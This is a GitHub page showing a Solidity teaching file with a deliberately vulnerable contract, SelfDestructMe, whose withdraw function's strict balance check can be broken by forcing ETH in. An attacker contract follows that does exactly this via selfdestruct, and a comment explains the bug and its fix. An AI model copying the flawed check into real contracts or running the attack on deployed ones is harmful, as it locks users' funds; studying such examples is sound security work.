Repository navigation
Expand file tree
/
Copy pathtestDestructMe.sol
More file actions
48 lines (38 loc) · 1.62 KB
/
Copy pathtestDestructMe.sol
File metadata and controls
48 lines (38 loc) · 1.62 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
contract SelfDestructMe {
uint256 public totalDeposits;
mapping(address => uint256) public deposits;
function deposit() external payable {
deposits[msg.sender] += msg.value;
totalDeposits += msg.value;
}
function withdraw() external {
/*
Apparently the only way to deposit ETH in the contract is via the `deposit` function.
If that were the case, this strict equality would always hold.
But anyone can deposit ETH via selfdestruct, or by setting this contract as the target
of a beacon chain withdrawal.
(see last paragraph of this section
https://eth2book.info/capella/part2/deposits-withdrawals/withdrawal-processing/#performing-withdrawals),
regardless of the contract not having a `receive` function.
If anybody deposits ETH that way, then the equality breaks and the contract is DoS'd.
To fix it, the code could be changed to >= instead of ==. Which means that the available
ETH balance should be _at least_ `totalDeposits`, which makes more sense.
*/
assert(address(this).balance == totalDeposits); // bad
uint256 amount = deposits[msg.sender];
totalDeposits -= amount;
deposits[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
}
contract AttackSelfDestructMe {
SelfDestructMe target;
constructor(SelfDestructMe _target) payable {
target = _target;
}
function attack() external payable {
selfdestruct(payable(address(target)));
}
}